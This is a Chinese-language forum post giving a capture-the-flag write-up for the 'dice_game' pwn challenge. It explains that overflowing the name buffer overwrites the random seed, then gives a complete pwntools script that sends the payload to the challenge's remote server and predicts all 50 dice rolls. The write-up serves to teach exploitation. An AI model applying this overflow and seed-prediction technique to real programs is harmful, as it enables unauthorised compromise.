首页
社区
课程
招聘
[原创]攻防世界pwn高手进阶区dice_game
2019-9-4 16:14 8594

[原创]攻防世界pwn高手进阶区dice_game

2019-9-4 16:14
8594

0x00 查看保护


64位程序,堆栈保护没开

0x01 初步分析


sub_A20()是对比我们的输入与程序产生的随机数是否想相等,相等则返回1,反之则返回0
sub_B28()是读取flag文件,并输出

0x02 思路

成功执行sub_B28()即可获得flag,也就需要连续输入正确50次,靠运气是不太可能了
但是rand()产生随机数其实是伪随机数,是根据上面srand(seed[0]);留下的种子而产生随机数,而seed[0]则是用来初始化种子的,所以我们可以通过覆盖掉seed[0]来实现预测rand()产生的随机数

在这里能够发现buf只要超过0x40就可以实现覆盖seed

0x03 构造exp

from pwn import *
from ctypes import *

context.arch = "amd64"
#context.log_level = "debug"

p = remote('111.198.29.45','56197')
#p = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40 + p64(0)
#payload = 'a'*0x40 + p64(1)

p.sendlineafter("Welcome, let me know your name: ",payload)

for i in range(50):
        p.recvuntil("Give me the point(1~6): ")
        n = libc.rand(0)%6+1
        #n = libc.rand(1)%6+1
        p.sendline(str(n))

p.interactive()



[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 12107
活跃值: (15524)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-9-4 20:37
2
0
这算RE题目还是crypton??
雪    币: 1219
活跃值: (177)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
安辰 2019-9-6 17:16
3
0
我看那个平台放在pwn里面的,就没注意
下次我会注意,
游客
登录 | 注册 方可回帖
返回